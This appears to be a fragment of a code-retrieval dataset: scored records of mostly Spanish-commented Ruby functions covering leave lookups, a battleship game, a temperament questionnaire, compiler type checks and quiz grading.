{con_goce: true}).first then\n return @ver_licencia #Hay licencias para esas horas\n else\n return [] #No hay licencias para esas horas\n end\n end", "title": "" }, { "docid": "a352ffee1a92624fb06dd074a3276414", "score": "0.53705865", "text": "def verificarDisparo\n\n\t\t\tif @disparo == @barco1\n\t\t\t\t\tcambioTablero(\"X\")\n\t\t\t\t\t@golpeado.push(@barco1)\n\t\t\t\t\tputs \"Destruirte un barco\\n\"\n\t\t\t\t\t @barco2\n\t\t\t\t\tcambioTablero(\"X\")\n\t\t\t\t\t@golpeado.push(@barco2)\n\t\t\t\t\tputs \"Destruirte un barco\\n\"\n\n\t\t\t\t\telse\n\t\t\t\t\t@disparo =! @barco1 && @barco2\n\t\t\t\t\tcambioTablero(\"*\")\n\t\t\t\t\tputs \"Fallaste\\n\"\n\t\t\t\tend\n\t\t\t\n\t\tend", "title": "" }, { "docid": "87f772b62440aff41a3731de838d6e4a", "score": "0.53693575", "text": "def evaluacion(cuestionario_demora_id)\n\n #FRUSTRACIÓN POR DEMORA\n agresividad = false; insensibilidad = false; impulsividad= false; irritabilidad= false; melancolia=false;\n susceptibilidad = false; sexualidad=false; introversion = false;\n \n @cuestionario_demora = CuestionarioDemora.find(cuestionario_demora_id)\n if @cuestionario_demora.resp_I1==\"SI\" and @cuestionario_demora.resp_I2==\"SI\" and\n @cuestionario_demora.resp_I3==\"SI\" and @cuestionario_demora.resp_I4==\"SI\" and\n @cuestionario_demora.resp_I5==\"SI\" and @cuestionario_demora.resp_I6==\"SI\" and\n\n @evaluacion1=\"Usted presenta un temperamento de agresividad\"\n agresividad=true;\n else\n @evaluacion1=\"No presenta un temperamento de agresividad\"\n end\n if @cuestionario_demora.resp_J1==\"NO\" and @cuestionario_demora.resp_J2==\"SI\" and\n @cuestionario_demora.resp_J3==\"NO\" and @cuestionario_demora.resp_J4==\"SI\" and\n @cuestionario_demora.resp_J5==\"NO\" and @cuestionario_demora.resp_J6==\"NO\" and\n @cuestionario_demora.resp_J7==\"SI\" and @cuestionario_demora.resp_J8==\"SI\" and\n @cuestionario_demora.resp_J9==\"NO\" and\n\n @evaluacion2=\"Usted presenta un temperamento de insensibilidad\"\n insensibilidad =true;\n else\n @evaluacion2=\"No presenta un temperamento de insensibilidad\"\n end\n\n if @cuestionario_demora.resp_K1==\"NO\" and @cuestionario_demora.resp_K2==\"SI\" and\n @cuestionario_demora.resp_K3==\"NO\" and @cuestionario_demora.resp_K4==\"SI\" and\n @cuestionario_demora.resp_K5==\"SI\" and @cuestionario_demora.resp_K6==\"SI\" and\n @cuestionario_demora.resp_K7==\"SI\" and\n\n\n @evaluacion3=\"Usted presenta un temperamento de impulsividad\"\n impulsividad=true;\n else\n @evaluacion3=\"No presenta un temperamento de impulsividad\"\n end\n\n\n if @cuestionario_demora.resp_L1==\"SI\" and @cuestionario_demora.resp_L2==\"SI\" and\n @cuestionario_demora.resp_L3==\"SI\" and @cuestionario_demora.resp_L4==\"SI\" and\n @cuestionario_demora.resp_L5==\"NO\" and\n\n @evaluacion4=\"Usted presenta un temperamento de irritabilidad\"\n irritabilidad=true\n else\n @evaluacion4=\"No presenta un temperamento de irritabilidad\"\n end\n\n if @cuestionario_demora.resp_M1==\"SI\" and @cuestionario_demora.resp_M2==\"SI\" and\n @cuestionario_demora.resp_M3==\"SI\" and @cuestionario_demora.resp_M4==\"SI\" and\n @cuestionario_demora.resp_M5==\"SI\" and @cuestionario_demora.resp_M6==\"SI\" and\n @cuestionario_demora.resp_M7==\"SI\" and @cuestionario_demora.resp_M8==\"SI\" and\n @cuestionario_demora.resp_M9==\"SI\" and @cuestionario_demora.resp_M10==\"SI\"and\n @evaluacion5=\"Usted presenta un temperamento de melancolia\"\n melancolia=true;\n else\n @evaluacion5=\"No presenta un temperamento de melancolia\"\n end\n\n if @cuestionario_demora.resp_N1==\"SI\" and @cuestionario_demora.resp_N2==\"SI\" and\n @cuestionario_demora.resp_N3==\"SI\" and @cuestionario_demora.resp_N4==\"SI\" and\n @cuestionario_demora.resp_N5==\"SI\" and @cuestionario_demora.resp_N6==\"SI\" and\n @cuestionario_demora.resp_N7==\"SI\" and @cuestionario_demora.resp_N8==\"NO\" and\n\n\n @evaluacion6=\"Usted presenta un temperamento de susceptibilidad\"\n susceptibilidad=true;\n\n else\n @evaluacion6=\"No presenta un temperamento de susceptibilidad\"\n end\n\n if @cuestionario_demora.resp_O1==\"SI\" and @cuestionario_demora.resp_O2==\"SI\" and\n @cuestionario_demora.resp_O3==\"SI\" and @cuestionario_demora.resp_O4==\"NO\" and\n @cuestionario_demora.resp_O5==\"SI\" and @cuestionario_demora.resp_O6==\"SI\" and\n\n @evaluacion7=\"Usted presenta un temperamento de sexualidad\"\n sexualidad=true;\n else\n @evaluacion7=\"no presenta un temperamento de sexualidad\"\n end\n\n if @cuestionario_demora.resp_P1==\"SI\" and @cuestionario_demora.resp_P2==\"NO\" and\n @cuestionario_demora.resp_P3==\"NO\" and @cuestionario_demora.resp_P4==\"NO\" and\n @cuestionario_demora.resp_P5==\"SI\" and @cuestionario_demora.resp_P6==\"SI\" and\n\n\n @evaluacion8=\"Usted presenta un temperamento de introversion\"\n introversion=true;\n else\n @evaluacion8=\"no presenta un temperamento de introversion\"\n end\n\n # Se guarda o actualiza el temperamento del paciente\n\n @paciente = Paciente.find(@cuestionario_demora.paciente_id)\n if @paciente.temperamento_id!=nil\n id= @paciente.temperamento_id;\n @temperamento = Temperamento.find(id)\n if\n agresividad==true\n @Temperamento.find(id).update_attribute(:agresividad,agresividad)\n end\n if\n insensibilidad==true\n Temperamento.find(id).update_attribute(:insensibilidad,insensibilidad)\n end\n if\n impulsividad==true\n Temperamento.find(id).update_attribute(:impulsividad,impulsividad)\n end\n if\n irritabilidad==true\n Temperamento.find(id).update_attribute(:irritabilidad,impulsividad)\n end\n if\n melancolia==true\n Temperamento.find(id).update_attribute(:melancolia,melancolia)\n end\n if\n susceptibilidad==true\n Temperamento.find(id).update_attribute(:susceptibilidad,susceptibilidad)\n end\n if\n sexualidad==true\n Temperamento.find(id).update_attribute(:sexualidad,sexualidad)\n end\n if\n introversion==true\n Temperamento.find(id).update_attribute(:introversion,introversion)\n end\n else\n @temperamento = Temperamento.new\n @temperamento.agresividad= agresividad\n @temperamento.impulsividad = impulsividad\n @temperamento.irritabilidad = irritabilidad\n @temperamento.susceptibilidad = susceptibilidad\n @temperamento.introversion= introversion\n @temperamento.sexualidad= sexualidad\n @temperamento.insensibilidad= insensibilidad\n @temperamento.melancolia = melancolia\n @temperamento.paciente_id = @cuestionario_demora.paciente_id\n @temperamento.save()\n Paciente.find(@cuestionario_demora.paciente_id).update_attribute(:temperamento_id, @temperamento.id)\n end\n end", "title": "" }, { "docid": "ce4e0c11cd58ac4eaaf5aec86d4844e6", "score": "0.53533673", "text": "def in_result?(operation)\n case edge_type\n when :normal\n case operation\n when :intersection then !other_in_out\n when :union then other_in_out\n when :difference then polygon_type == :subject ? other_in_out : !other_in_out\n when :xor then true\n end\n when :same_transition\n operation == :intersection || operation == :union\n when :different_transition\n operation == :difference\n when :non_contributing\n false\n end\n end", "title": "" }, { "docid": "125e8e6207272cacee33b4600b94c7e0", "score": "0.5347806", "text": "def terminou?\n @tropa1.tamanho < 1 or @tropa2.tamanho < 1\n end", "title": "" }, { "docid": "736d4669839fcb180244aaf89f9b35bb", "score": "0.534482", "text": "def possui_reimpressao?\n\t@possui_reimpressao\nend", "title": "" }, { "docid": "f49bdd6f38af636f17a7da84444455f8", "score": "0.5328788", "text": "def verificarAsignacionA(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.id, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.expresion, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.expresion, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se verifica si la variables son del mismo tipo\n if (izquierda.eql? derecha) then\n return \"bool\"\n else \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: el tipo de la variable no coincide con la del valor que se le va a asignar\"\n $tablaErrores << error\n end\n end", "title": "" }, { "docid": "611396d2254569d53ab5e54583382a43", "score": "0.53287566", "text": "def preguntar(posicion)\n @controlador.preguntar(posicion)\n @respuesta = gets\n if validacion\n puts \"respuesta correcta\"\n #pregunta si la variable que controla el primer intento es true o false para sumar puntaje o no\n @controlador.primerIntento?\n @posicion += 1\n #cuando se pasa a la siguiente pregunta, se debe pasar la variable a true\n@controlador.nueva_pregunta\n #valida si el vector de posiciones de preguntas llego a su final, lo cual indica que se debe iniciar un juevo juego\n unless @posicion == 8\n #se llama a si mismo para crear el bucle de preguntas\n preguntar(@posicion)\n else\n nuevojuego\n end\n else\n puts \"incorrecto intenta de nuevo\"\n preguntar(@posicion)\n end\n end", "title": "" }, { "docid": "c974831e55dc0b4cfaaad3a9b82fb9f7", "score": "0.5324063", "text": "def comparation(resp, ans)\n\t\tif resp == ans\n\t\t\t@true_count += 1\n\t\t\t@wrong = true\n\t\telse \n\t\t\t@false_count += 1\n\t\t\t@wrong = false\n\t\tend\t\n\tend", "title": "" }, { "docid": "3c222f28af2c1da88fd4040df79990ab", "score": "0.5316844", "text": "def revisado?\n REVISAO_APROVADO == status_revisao_texto &&\n REVISAO_APROVADO == status_revisao_audio &&\n REVISAO_APROVADO == status_revisao_final &&\n REVISAO_APROVADO == status_revisao_metodo\n end", "title": "" }, { "docid": "2c1cd12e08aeb58dfc7488b7a982a292", "score": "0.5304288", "text": "def edificios_disponibles\n edificios.select(&:cumple_requisitos?)\n end", "title": "" }, { "docid": "520b4a60faac839136e719d902d48a90", "score": "0.5294498", "text": "def seleccionar_por_rango condicion_1, condicion_2\r\n seleccionados = []\r\n serie_numerica = 1..100\r\n \r\n serie_numerica.each do |numero|\r\n seleccionados << numero if condicion_1.call(numero) && condicion_2.call(numero)\r\n end\r\n return seleccionados\r\nend", "title": "" }, { "docid": "10183153aceeffe664e8c6db7ea7b7e8", "score": "0.52900445", "text": "def verificarAsignacionB(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.id, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.expresion, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.expresion, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se verifica si la variables son del mismo tipo\n if (izquierda.eql? derecha) then\n return \"bool\"\n else \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: el tipo de la variable no coincide con la del valor que se le va a asignar\"\n $tablaErrores << error\n end\n end", "title": "" }, { "docid": "c013e0b9797130b2e68766b613ca0dea", "score": "0.52825224", "text": "def asocia_respuesta(info = {})\n if info[:estatus]\n taxon = info[:taxon]\n\n if taxon.estatus == 1 # Si es sinonimo, asocia el nombre_cientifico valido\n estatus = taxon.especies_estatus # Checa si existe alguna sinonimia\n\n if estatus.length == 1 # Encontro el valido y solo es uno, como se esperaba\n begin # Por si ya no existe ese taxon, suele pasar!\n taxon_valido = Especie.find(estatus.first.especie_id2)\n t_val = asigna_categorias_correspondientes(taxon_valido) # Le asociamos los datos\n info[:taxon_valido] = t_val\n rescue\n info[:estatus] = false\n info[:error] = 'No existe el taxón válido en CAT'\n end\n\n else # No existe el valido >.>!\n info[:estatus] = false\n info[:error] = 'No existe el taxón válido en CAT'\n end\n end # End estatus = 1\n end # End info estatus\n\n # Se completa cada seccion del excel\n resumen_hash = resumen(info)\n correcciones_hash = correcciones(info)\n validacion_interna_hash = validacion_interna(info)\n\n # Devuelve toda la asociacion unida y en orden\n info[:hash].merge(resumen_hash).merge(correcciones_hash).merge(validacion_interna_hash)\n end", "title": "" }, { "docid": "abdbf1b40552916f34eccb493313127b", "score": "0.5277049", "text": "def con_licencia_reemplazante(altasbajashoras)\n if altasbajashoras.where(situacion_revista: \"1-1\").first #Titular\n primer = altasbajashoras.where(situacion_revista: \"1-1\").first #Titular\n else \n primer = altasbajashoras.where(situacion_revista: \"1-2\").first #Interino\n end\n if primer.suplente_id != nil\n suplente = altasbajashoras.where(id: Suplente.where(id: primer.suplente_id).first.altas_bajas_hora_id) \n while suplente.first.suplente_id != nil do\n suplente = altasbajashoras.where(id: Suplente.where(id: suplente.suplente_id).first.altas_bajas_hora_id)\n end\n ver_licencia = suplente\n else\n ver_licencia = primer\n end\n if Licencium.joins(:articulo).where(altas_bajas_hora_id: ver_licencia, vigente: \"Vigente\", articulos: {con_goce: false}).first\n return ver_licencia #Hay licencias para esas horas\n else\n return [] #No hay licencias para esas horas\n end\n end", "title": "" }, { "docid": "bde1c00468d4814849df3223ff4c6195", "score": "0.5269379", "text": "def horarios_disponibles(permitir_cambios=true) \n if permitir_cambios\n if seccion_numero\n seccion = Seccion.where(:idioma_id => idioma_id,\n :tipo_categoria_id => tipo_categoria_id,\n :tipo_nivel_id => tipo_nivel_id,\n :periodo_id => periodo_id,\n :seccion_numero => seccion_numero,\n :esta_abierta => true).limit(1).first\n if seccion && seccion.hay_cupo?\n return [seccion.horario] \n end\n end\n ultimo_horario = nil\n begin\n ultimo_horario = estudiante_curso.ultimo_historial.seccion.horario\n rescue\n end \n if ultimo_horario\n secciones = Seccion.where(:idioma_id => idioma_id,\n :tipo_categoria_id => tipo_categoria_id,\n :tipo_nivel_id => tipo_nivel_id,\n :periodo_id => periodo_id,\n :esta_abierta => true) \n secciones.each{|seccion|\n if seccion.horario == ultimo_horario && seccion.hay_cupo?\n self.seccion_numero = seccion.seccion_numero\n return [seccion.horario]\n end\n }\n end \n end\n self.seccion_numero = nil \n secciones = Seccion.where(:idioma_id => idioma_id,\n :tipo_categoria_id => tipo_categoria_id,\n :tipo_nivel_id => tipo_nivel_id,\n :periodo_id => periodo_id,\n :esta_abierta => true) \n return secciones.collect{|x| x.horario}.uniq.sort\n end", "title": "" }, { "docid": "1816a4870f13328be5070ec2efc27224", "score": "0.5263552", "text": "def primer?\n if @primer_intento\n @puntos = @puntos + 1\n end\n\nend", "title": "" }, { "docid": "fdd91b9cc951032dd128ca631849b68b", "score": "0.5255051", "text": "def check bool\n\t\n\t\tif bool\n\t\t\tparametros = []\n\t\t\t@parametros.each do | p |\n\t\t\t\tparametros << p.tipo.nombre.texto\n\t\t\t\tbegin\n\t\t\t\t\t@tablaVariables.insert(p.variable.nombre, p.tipo.nombre.texto.downcase)\n\t\t\t\trescue RedefinirError => e\n\t\t\t\t\t$erroresContexto << e\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Se guarda en la ultima posicion de este arreglo el tipo de vlaro a retorna de la funcion aun asi sea nil.\n\t\t\tif @tipoRetorno != nil\n\t\t\t\tparametros << @tipoRetorno.nombre.texto.downcase\n\t\t\telse\n\t\t\t\tparametros << nil\n\t\t\tend\n\t\t\t\n\t\t\tbegin\n\t\t\t\t$tablaFunciones.insert(self, parametros, false) \n\t\t\trescue RedefinirError => e\n\t\t\t\t$erroresContexto << e\n\t\t\tend\n\t\telse\n\t\t\tencontradoReturn = false\n\n\t\t\t@instrucciones.each do | i |\n\t\t\t\tif @tipoRetorno != nil\n\t\t\t\t\tcorrecto = i.check(@tablaVariables, @tipoRetorno.nombre.texto)\n\t\t\t\telse\n\t\t\t\t\tcorrecto = i.check(@tablaVariables)\n\t\t\t\tend\n\n\t\t\t\tif correcto\n\t\t\t\t\tencontradoReturn = true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif not encontradoReturn and @tipoRetorno != nil\n\t\t\t\t$erroresContexto << ErrorValorRetornoAusente.new(@inicio, @fin, @idFuncion.nombre.texto)\n\t\t\telsif encontradoReturn and @tipoRetorno == nil\n\t\t\t\t$erroresContexto << ErrorValorRetornoNoRequerido.new(@inicio, @fin, @idFuncion.nombre.texto)\n\t\t\tend\n\t\tend\t\n\tend", "title": "" }, { "docid": "626dd83b2534f141deaed27a3fb0c937", "score": "0.5254832", "text": "def update_status\n if opinions.any?(&:error?)\n has_opinions_in_error!\n elsif opinions.any?(&:to_review?)\n has_opinions_to_review!\n elsif opinions.any?(&:reviewed_ok?)\n has_opinions_reviewed_ok!\n else\n is_empty!\n end\n end", "title": "" }, { "docid": "5097c66abbef390e564c6ef241cd3c16", "score": "0.5247071", "text": "def show\n @usuario = Usuario.find(params[:id])\n\n @participacion = params[:participacion]\n if @participacion=='respuestas'\n @verbo = 'respondido ninguna pregunta'\n @preguntas = []\n @usuario.respuestas.each do |r|\n @preguntas << r.pregunta\n end\n\n\n elsif @participacion=='comentarios'\n @verbo = 'publicado ningun comentario'\n @preguntas = []\n @usuario.comentarios.each do |r|\n comentable = r.comentable\n if comentable.class.name == 'Pregunta'\n @preguntas << comentable\n elsif comentable.class.name == 'Respuesta'\n resp = comentable.pregunta\n @preguntas << resp\n end\n end\n @preguntas.uniq!\n\n\n elsif @participacion=='votos'\n @verbo = 'votado por ninguna pregunta ni respuesta'\n @preguntas = []\n @usuario.votos.each do |r|\n votable = r.votable\n if votable.class.name == 'Pregunta'\n @preguntas << votable\n elsif votable.class.name == 'Respuesta'\n resp = votable.pregunta\n @preguntas << resp\n end\n end\n @preguntas.uniq!\n\n\n else\n @verbo = 'formulado ninguna pregunta'\n @participacion = 'preguntas'\n @preguntas = @usuario.preguntas\n end\n\n @preguntas.select! {|p| (not p.nil?) and (not p.extrana) }\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usuario }\n end\n end", "title": "" }, { "docid": "ce0a396f6ffdfed7becd309530e72ae9", "score": "0.52228147", "text": "def tiene_algo_que_gestionar\n \n return @propiedades.size >= 1\n end", "title": "" }, { "docid": "c1a068ee8c3de469c7826a4d4c052d69", "score": "0.5219369", "text": "def pago_e_pode_reenviar?\n if self.pode_reenviar?\n return false # como reenviar se o cliente já recebeu??\n else\n self.reenvio += 1\n self.reenviado = true\n self.reenviado_em = Time.now.utc\n self.save(false)\n return true\n end\n end", "title": "" }, { "docid": "01e3282d3d64648a557df510625305b6", "score": "0.521758", "text": "def redireccionamiento_verificar\n @cotizacion_temporal = Sale::Quotation.find_by(ip_quotation: request.remote_ip, user_id: nil)\n @product_quotations = @cotizacion_temporal.sale_product_quotations.order(id: :asc)\n $producto = 0\n if params[:cliente]== \"persona\"\n @product_quotations.each do |product|\n if (product.product_product.category == 'PYMES')\n $producto = 1\n end \n end\n if $producto > 0\n redirect_to message_path(:cliente => \"persona\")\n else \n redirect_to new_user_session_path(:cliente => \"persona\")\n end\n else\n @product_quotations.each do |product|\n if (product.product_product.category == 'Individual')\n $producto = 1\n end \n end\n if $producto > 0\n redirect_to message_path(:cliente => \"empresa\")\n else \n redirect_to new_user_session_path(:cliente => \"empresa\")\n end\n end \n end", "title": "" }, { "docid": "e675b3ab3b3e65a0e6193290ae9c7a64", "score": "0.51961946", "text": "def no_same_donor_and_donee\n donor_conns = donor_connections.to_a\n donee_conns = donee_connections.to_a\n\n # first check for same connection\n in_both = donor_conns & donee_conns\n if in_both.present?\n add_same_donor_and_donee_error(I18n.t('wishes.errors.same_donor_and_donee.by_connection', conn_fullname: in_both.first.fullname))\n else\n # check for connection with same email (cann be dubled with another name)\n donor_emails = donor_conns.collect(&:email)\n donee_emails = donee_conns.collect(&:email)\n in_both = donor_emails & donee_emails\n if in_both.present?\n add_same_donor_and_donee_error(I18n.t('wishes.errors.same_donor_and_donee.by_email', email: in_both.first))\n else\n # check for identical user directly (can have many emails)\n donor_user_ids = donor_conns.collect(&:friend_id).compact\n donee_user_ids = donee_conns.collect(&:friend_id).compact\n in_both = donor_user_ids & donee_user_ids\n if in_both.present?\n donor_connection = (donor_conns.select { |c| c.friend_id == in_both.first }).first\n donee_connection = (donee_conns.select { |c| c.friend_id == in_both.first }).first\n add_same_donor_and_donee_error(I18n.t('wishes.errors.same_donor_and_donee.by_user', donee_fullname: donee_connection.fullname, donor_fullname: donor_connection.fullname))\n end\n end\n end\n end", "title": "" }, { "docid": "4805712103db754adcd279cc3d12184b", "score": "0.51864356", "text": "def remainder_ok?\n expected.delete(:data)\n actual.delete(:data)\n expected == actual\n end", "title": "" }, { "docid": "b331034f7973d96486e6523669c48134", "score": "0.51833147", "text": "def siguiente_paso_completado(operacion)\r\n @estado = @gestor_estados.siguiente_estado(@jugadores.at(@indice_jugador_actual), @estado, operacion)\r\n end", "title": "" }, { "docid": "79385195993c38430f6cb2ddd8c51fe7", "score": "0.5182694", "text": "def verificar_proxima_maquina\n\t\tif @proxima_maquina.estado == 0\n\t\t\t#puts \"--- Intentando enviar \" + @almacen.to_s\n\t\t\trecibido = @proxima_maquina.recibir_insumo(@almacen)\n\t\t\t#puts \"--- Envie \" + recibido.to_s\n\t\t\tif recibido == @almacen\n\t\t\t\t@estado = 0\n\t\t\tend\n\t\t\t@almacen = @almacen - recibido\n\t\tend\n\tend", "title": "" }, { "docid": "cd71351658bc11e9a4639623782227b3", "score": "0.51757896", "text": "def puede\n\t\t\t\tpuede = @current_user.super_admin? ? true : @permisos_de_usuario.include?(params[:nombre_permiso])\n\t\t\t\trender json: { puede: puede }\n\t\t\tend", "title": "" }, { "docid": "929cb0902801891ff42f110e4672717e", "score": "0.5172277", "text": "def esta_resuelto\n resuelto = true\n for i in 0..8\n for j in 0..8\n celda = filas[i].celdas[j]\n if celda.valor == 0\n resuelto = false\n end\n end\n end\n resuelto\n end", "title": "" }, { "docid": "8fd0449bc8e2e398577b071116875d33", "score": "0.5171853", "text": "def siguiente_paso\n jugador_actual = get_jugador_actual\n operacion = @gestor_estados.operaciones_permitidas(jugador_actual, @estado)\n if operacion==Operaciones_juego::PASAR_TURNO\n pasar_turno\n siguiente_paso_completado(operacion)\n elsif operacion == Operaciones_juego::AVANZAR\n avanza_jugador\n siguiente_paso_completado(operacion)\n end\n return operacion\n end", "title": "" }, { "docid": "a96682bf6805b6c6c726cda7b07d4f5c", "score": "0.5170664", "text": "def any_suggested?\n (self.from_status==PENDING and self.to_status==PENDING) or \\\n (self.from_status==PENDING and self.to_status==ACCEPTED) or \\\n (self.from_status==ACCEPTED and self.to_status==PENDING)\n end", "title": "" }, { "docid": "87964cdea136a07cdce8001d0c143126", "score": "0.51678544", "text": "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n aging_compras == o.aging_compras &&\n aging_contestacao == o.aging_contestacao &&\n bandeira == o.bandeira &&\n codigo_autorizacao == o.codigo_autorizacao &&\n codigo_contestacao == o.codigo_contestacao &&\n codigo_evento_compra == o.codigo_evento_compra &&\n codigo_moeda_destino == o.codigo_moeda_destino &&\n data2_reapresentacao == o.data2_reapresentacao &&\n data_alteracao == o.data_alteracao &&\n data_contestacao == o.data_contestacao &&\n data_envio_cb == o.data_envio_cb &&\n data_transacao == o.data_transacao &&\n historico == o.historico &&\n id_compra_contestada == o.id_compra_contestada &&\n internacional == o.internacional &&\n mcc == o.mcc &&\n modo_de_entrada_descricao == o.modo_de_entrada_descricao &&\n modo_entrada == o.modo_entrada &&\n motivo2_reapresentacao == o.motivo2_reapresentacao &&\n nome_estabelecimento == o.nome_estabelecimento &&\n numero_controle == o.numero_controle &&\n razao_cb == o.razao_cb &&\n reference_number == o.reference_number &&\n reporte_bandeira == o.reporte_bandeira &&\n responsavel_abertuda == o.responsavel_abertuda &&\n responsavel_alteracao == o.responsavel_alteracao &&\n status_contestacao == o.status_contestacao &&\n texto2_reapresentacao == o.texto2_reapresentacao &&\n tipo_transacao == o.tipo_transacao &&\n transacao_segura == o.transacao_segura &&\n valor_compra == o.valor_compra &&\n valor_contrato == o.valor_contrato &&\n valor_destino == o.valor_destino\n end", "title": "" }, { "docid": "d4045e51c9e8667561c0bdc156ef6194", "score": "0.5161646", "text": "def con_licencia_suplente(altasbajashoras)\n if altasbajashoras.where(situacion_revista: \"1-1\").first\n primer = altasbajashoras.where(situacion_revista: \"1-1\").first\n else \n primer = altasbajashoras.where(situacion_revista: \"1-2\").first\n end\n if primer.suplente_id != nil\n suplente = altasbajashoras.where(id: Suplente.where(id: primer.suplente_id).first.altas_bajas_hora_id) \n while suplente.first.suplente_id != nil do\n suplente = altasbajashoras.where(id: Suplente.where(id: suplente.suplente_id).first.altas_bajas_hora_id)\n end\n ver_licencia = suplente\n else\n ver_licencia = primer\n end \n if Licencium.joins(:articulo).where(altas_bajas_hora_id: ver_licencia, vigente: \"Vigente\", articulos: {con_goce: true}).first\n return ver_licencia #Hay licencias para esas horas\n else\n return [] #No hay licencias para esas horas\n end\n end", "title": "" }, { "docid": "b55cddc0b96de8811cd9a1b32dda01d5", "score": "0.51504874", "text": "def ifn\n emu.skip unless a.get != b.get\n end", "title": "" }, { "docid": "2d9bfa5142f75958e081fd90809444ac", "score": "0.51480657", "text": "def concluded\n claims.select { |claim| !claim.pendiente?}\n end", "title": "" }, { "docid": "609d4fcbbaca776ef75efe145d5bf578", "score": "0.51461893", "text": "def check_answer(first_sub)\n if @question.is_qcm # QCM\n @solvedquestion.guess = 0.0\n @solvedquestion.nb_guess = (first_sub ? 1 : @solvedquestion.nb_guess + 1)\n good_guess = true\n diff_sub = first_sub\n @solvedquestion.resolution_time = DateTime.now\n if @question.many_answers # Many answers possible\n if params[:ans]\n answer = params[:ans]\n else\n answer = {}\n end\n\n @question.items.each do |c|\n if answer[c.id.to_s] # Answered \"true\"\n if !c.ok\n good_guess = false\n end\n if !diff_sub && !@solvedquestion.items.exists?(c.id)\n diff_sub = true\n end\n else # Answered \"false\"\n if c.ok\n good_guess = false\n end\n if !diff_sub && @solvedquestion.items.exists?(c.id)\n diff_sub = true\n end\n end\n end\n\n # If the same answer as the previous one: we don't count it\n if !diff_sub\n redirect_to chapter_path(@chapter, :type => 5, :which => @question.id)\n return false\n end\n\n if good_guess # Correct\n @solvedquestion.correct = true\n @solvedquestion.save\n @solvedquestion.items.clear\n else # Incorrect\n @solvedquestion.correct = false\n @solvedquestion.save\n @solvedquestion.items.clear\n @question.items.each do |c|\n if answer[c.id.to_s]\n @solvedquestion.items << c\n end\n end\n end\n\n else # Unique answer\n if !params[:ans]\n flash[:danger] = \"Veuillez cocher une réponse.\"\n redirect_to chapter_path(@chapter, :type => 5, :which => @question.id)\n return false\n end\n \n # If the same answer as the previous one: we don't count it\n if !first_sub && params[:ans].to_i == @solvedquestion.items.first.id\n redirect_to chapter_path(@chapter, :type => 5, :which => @question.id)\n return false\n end\n \n rep = @question.items.where(:ok => true).first\n\n if rep.id == params[:ans].to_i\n @solvedquestion.correct = true\n @solvedquestion.save\n @solvedquestion.items.clear\n else\n @solvedquestion.correct = false\n @solvedquestion.save\n \n item = Item.find_by_id(params[:ans])\n @solvedquestion.items.clear\n @solvedquestion.items << item\n end\n end\n else # EXERCISE\n if @question.decimal\n guess = params[:solvedquestion][:guess].gsub(\",\",\".\").gsub(\" \",\"\").to_f # Replace ',' by '.' and remove white spaces (possible after comma)\n else\n guess = params[:solvedquestion][:guess].gsub(\" \",\"\").to_i # Remove ',', '.' and ' ' in case of \"12 345\" instead of \"12345\"\n end\n if first_sub || @solvedquestion.guess != guess\n @solvedquestion.nb_guess = (first_sub ? 1 : @solvedquestion.nb_guess + 1)\n @solvedquestion.guess = guess\n @solvedquestion.resolution_time = DateTime.now\n\n if @question.decimal\n @solvedquestion.correct = ((@question.answer - guess).abs < 0.001)\n else\n @solvedquestion.correct = (@question.answer.to_i == guess)\n end\n @solvedquestion.save\n end\n end\n\n if @solvedquestion.correct\n point_attribution(current_user.sk, @question)\n end\n \n return true\n end", "title": "" }, { "docid": "de7506e35fb9aa3323d0a1ad9079038b", "score": "0.51437455", "text": "def test_menu_ok_p\n obj = @@klass.new\n assert_equal((0..3).select {|x| obj.occasion = x; obj.menu_ok? }, [0, 2])\n end", "title": "" }, { "docid": "a94ba9f58cb6503320ce330ff6494e4f", "score": "0.51333094", "text": "def step23\n @sro = Sro.find(params[:sro][:id])\n @group = @sro.opandsros.build\n @all_operations = Operation.all\n @resps = []\n @next = true\n params[:sro][:operation_ids].delete_if(&:blank?)\n params[:sro][:operation_ids].each {|oid|\n o = Operation.find(oid)\n uri = \"#{API_BASE_URL}/checkop/\"+URI::encode(@sro.nazov+\"/\"+o.popis)\n rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n begin\n resp = rest_resource.get\n rescue\n flash[:notice] = \"Vzdialená databáza ŽRSR nedostupná, skúste neskôr.\"\n flash[:status]= \"invalid\"\n render 'step2' and return\n end\n if resp.eql? \"0\"\n @next = false\n @resps << o.popis\n end\n }\n if @next\n @sro.update_attributes(:proces => \"step3\")\n redirect_to(:action => 'step3', :sro_id => @sro.id)\n else\n redirect_to(:action => 'step2', :sro_id => @sro.id, :resps => 